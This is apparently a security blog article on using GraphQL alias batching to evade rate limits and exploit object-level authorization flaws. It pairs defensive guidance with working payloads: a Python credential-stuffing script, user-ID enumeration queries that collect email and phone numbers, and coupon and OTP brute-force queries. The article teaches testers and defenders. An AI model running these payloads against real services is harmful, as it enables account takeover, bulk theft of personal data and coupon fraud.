GraphQL Alias Batching as a Rate-Limit and IDOR Bypass Primitive
GraphQL was designed to give clients power — the power to ask for exactly what they need, composed however they like, in a single round-trip. That composability is also its security paradox.
Available in Português
GraphQL Alias Batching as a Rate-Limit and IDOR Bypass Primitive
Legal & Ethical Disclaimer
This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
- •Use these techniques on systems you own or have explicit written permission to test
- •Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
- •Follow responsible disclosure practices when finding vulnerabilities
- •Use knowledge for defensive security and authorized penetration testing
- •Access systems without explicit authorization
- •Use these techniques for malicious purposes
- •Deploy exploits against production systems you don't own
- •Share working exploits for unpatched vulnerabilities
Legal warning
Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.
Hook & Context
GraphQL was designed to give clients power — the power to ask for exactly what they need, composed however they like, in a single round-trip. That composability is also its security paradox. Every feature that makes GraphQL expressive for developers becomes a primitive that attackers can chain together. Alias batching is the clearest example of this tension: a feature intended to let you fetch user twice with different arguments in the same query becomes a mechanism to issue 50 credential-stuffing attempts, 200 user-ID probes, or 100 coupon-code guesses in a single HTTP request — one that your rate limiter sees as one request.
Most rate-limiting infrastructure lives at the HTTP layer. It counts requests per IP, per token, per second. It has no awareness of what's inside the GraphQL payload. A firewall that blocks after 10 failed logins per minute will happily watch an alias-batched query try 50 passwords in a single POST and call it one event. This isn't a misconfiguration of GraphQL — it's a fundamental impedance mismatch between how REST-era defenses think about "a request" and how GraphQL actually works.
This piece builds the mental model from first principles: why aliases exist, how they collapse multiple logical operations into one transport-level event, where that breaks IDOR controls, and how to detect the pattern programmatically — ideally before exploitation ever happens.
TL;DR
| Dimension | Detail |
|---|---|
| Primitive | GraphQL alias batching — multiple aliased fields in one HTTP POST |
| Bypass target | Per-request rate limiters, brute-force lockouts, IDOR controls |
| Attack surface | Login mutations, user/resource lookups, token validation endpoints |
| Detection lever | Introspection + query structure parsing before rate-limit evaluation |
| Root cause | HTTP-layer defenses are blind to intra-request operation multiplicity |
| Fix | Operation-level rate limiting, alias depth/count limits, per-field authorization |
Foundations & Theory
What Aliases Actually Are
In GraphQL, a field name is both the query key and the response key. If you query user(id: 1) twice with different arguments, the parser rejects it — you can't have two user keys in the same response object. Aliases solve this by letting you rename the response key:
query {
u1: user(id: 1) { email }
u2: user(id: 2) { email }
}
The server resolves both user fields independently and returns them under keys u1 and u2. This is legitimate and useful — dashboards that need multiple resources, comparison views, or aggregated lookups all benefit from it. The GraphQL spec explicitly supports this pattern. It is not a bug. The vulnerability emerges when authorization and rate-limiting infrastructure fails to account for it.
The Impedance Mismatch
REST maps one URL + method to one logical operation. Rate limiters, WAFs, and auth middleware are built on this assumption. GraphQL collapses N logical operations into one HTTP event. The mismatch looks like this:
The rate limiter fires once. The resolver fires fifty times. This is the entire attack.
Where It Fits in the Workflow
Alias batching isn't a standalone exploit — it's a multiplier you apply to existing vulnerability classes. Here's where it slots into an API security assessment:
The detection opportunity is at step A–B: if you parse introspection output and flag resolvers that accept credential-like or ID-like arguments before any exploitation phase, you can assess risk without firing a single abusive request against production.
Key Concepts in Depth
1. Alias-Based Credential Stuffing
Consider a login mutation:
mutation {
login(username: "alice", password: "hunter2") {
token
error
}
}
An alias-batched credential stuffing payload looks like this:
mutation {
a1: login(username: "alice", password: "password1") { token error }
a2: login(username: "alice", password: "password2") { token error }
a3: login(username: "alice", password: "password3") { token error }
# ... up to alias limit or server timeout
}
One HTTP POST. Fifty resolver invocations. The response is a JSON object with fifty keys, each containing either a valid token or an error. You iterate the response client-side to extract successes. The account lockout counter may never trigger because it's typically keyed to failed-login events tracked per request, not per resolver invocation — unless the developer explicitly implemented it at the resolver level.
The practical ceiling on alias count isn't specification-defined — it's server-side resource limits (timeout, memory, max complexity). Many production GraphQL servers allow hundreds of aliases before hitting any constraint. A Python payload generator:
import requests
def build_credential_stuffing_payload(username, passwords):
aliases = "\n".join(
f' a{i}: login(username: "{username}", password: "{pw}") {{ token error }}'
for i, pw in enumerate(passwords)
)
return {"query": f"mutation {{\n{aliases}\n}}"}
resp = requests.post(
"https://target.example/graphql",
json=build_credential_stuffing_payload("alice@example.com", wordlist),
headers={"Content-Type": "application/json"}
)
results = resp.json().get("data", {})
hits = {k: v for k, v in results.items() if v.get("token")}
2. ID Enumeration and IDOR via Alias Batching
IDOR in REST is simple: change GET /users/42 to GET /users/43. Authorization middleware can wrap the route and enforce ownership checks — or at least, it's obvious where to put them. In GraphQL, the equivalent is a user(id: Int!) query field. The alias-batch IDOR pattern:
query {
u100: user(id: 100) { id email phone }
u101: user(id: 101) { id email phone }
u102: user(id: 102) { id email phone }
# ... 200 IDs in one request
}
The authorization failure here is at the resolver level, not the transport level. If the user resolver checks "is the requester authenticated?" but not "is the requester this user or an admin?", every alias resolves freely. You enumerate PII for 200 users in a single request that rate-limiting infrastructure registers as one API call.
This maps directly to OWASP API Security Top 10 2023 — API1: Broken Object Level Authorization. The alias primitive doesn't create the IDOR; it scales it past any per-request throttle that might otherwise make it economically impractical.
3. Token and Coupon Brute-Force
Password reset tokens, one-time codes, discount coupons, and gift card codes are all high-value short-entropy strings. If validation is exposed as a GraphQL query or mutation, alias batching turns it into a brute-force primitive:
query {
c1: validateCoupon(code: "SAVE10A") { valid discount }
c2: validateCoupon(code: "SAVE10B") { valid discount }
c3: validateCoupon(code: "SAVE10C") { valid discount }
}
Real-world analog: the 2022 HackerOne report on a major e-commerce platform where an alias-batched OTP validation bypassed a 3-attempt lockout because the lockout counter incremented per HTTP request, not per resolver call. The alias batch submitted 100 OTP guesses in one request and hit the correct code before a second request was ever needed.
4. Detecting the Pattern with Automated Introspection Parsing
The most defensively useful application of understanding this primitive is detecting exposure before exploitation. The workflow: fetch the schema via introspection, identify high-risk resolver signatures, and flag them as alias-batchable targets — all without sending a single abusive payload.
import requests, json
INTROSPECTION = """
{ __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } } }
mutationType { fields { name args { name type { name kind ofType { name kind } } } } } } }
"""
HIGH_RISK_PATTERNS = ["login", "password", "token", "otp", "code", "user", "account", "verify"]
def audit_schema(endpoint, headers=None):
resp = requests.post(endpoint, json={"query": INTROSPECTION}, headers=headers or {})
schema = resp.json()["data"]["__schema"]
flagged = []
for type_obj in [schema.get("queryType"), schema.get("mutationType")]:
if not type_obj:
continue
for field in type_obj.get("fields", []):
name = field["name"].lower()
if any(p in name for p in HIGH_RISK_PATTERNS):
flagged.append({"field": field["name"], "args": [a["name"] for a in field["args"]]})
return flagged
findings = audit_schema("https://target.example/graphql")
for f in findings:
print(f"[!] High-risk resolver: {f['field']} | args: {f['args']}")
This runs as a pre-exploitation recon step. Combined with graphql-cop, which probes for alias flooding, batching support, and introspection exposure, you build a complete risk picture in the assessment's recon phase.
5. Alias Count as a Complexity Signal
GraphQL servers that implement query complexity analysis (e.g. graphql-query-complexity) assign a cost to each field. But alias count is often not factored into default complexity calculations, because each alias resolves the same underlying field — it looks like complexity 1 when it's really complexity N. Servers running Apollo Server, Hasura, or custom Express-graphql stacks without explicit alias-aware complexity rules are exposed by default.
The detection-side implication: when you see a server that returns introspection data, supports mutations, and doesn't appear to implement complexity limits (probe with a 10-alias query and observe latency/errors), assume alias batching works until proven otherwise.
Alternatives & Comparison
Other batching mechanisms achieve similar bypass effects. Understanding the landscape helps you choose the right probe during assessment and recommend the right defense.
| Mechanism | How It Works | Rate-Limit Bypass | Introspection Detectable | Defense |
|---|---|---|---|---|
| Alias batching | Multiple aliases in one query | ✅ Strong | ✅ Yes | Alias count limit, resolver-level rate limit |
| Array batching | [{query:...}, {query:...}] POST body | ✅ Strong | ⚠️ Partial | Disable batch POST, limit batch array size |
| Fragment abuse | Repeated fragments inflate resolver calls | ⚠️ Moderate | ⚠️ Partial | Query depth + complexity limits |
| Persisted query abuse | Rotate persisted query IDs rapidly | ⚠️ Context-dependent | ❌ No | Allowlist-only persisted queries |
| HTTP/2 multiplexing | Stream multiple distinct requests | ✅ Strong | ❌ No | Per-stream rate limiting |
Array batching (sending a JSON array of operation objects) is the closest relative and is often disabled separately from alias batching — confirm both during assessment. Fragment abuse is less reliable because most servers implement max depth limits that catch it incidentally. HTTP/2 multiplexing is a transport-layer primitive and doesn't require GraphQL-specific defenses, but also doesn't give you single-request response aggregation.
Takeaways & Further Reading
Further Reading & References
- OWASP API Security Top 10 2023 — API1: BOLA
- GraphQL Specification — Field Aliases
- HackerOne: GraphQL Batching Attack report (Shopify)
- graphql-cop — GraphQL security auditing tool
- InQL — Burp Suite GraphQL security testing extension
- graphql-query-complexity — Node.js query complexity analysis
- PortSwigger: GraphQL API vulnerabilities
- GitLab GraphQL Batching Rate Limit Bypass — CVE-2021-22175
- Escape.tech: GraphQL Security Testing Guide
Found this article interesting? Follow me on X and LinkedIn.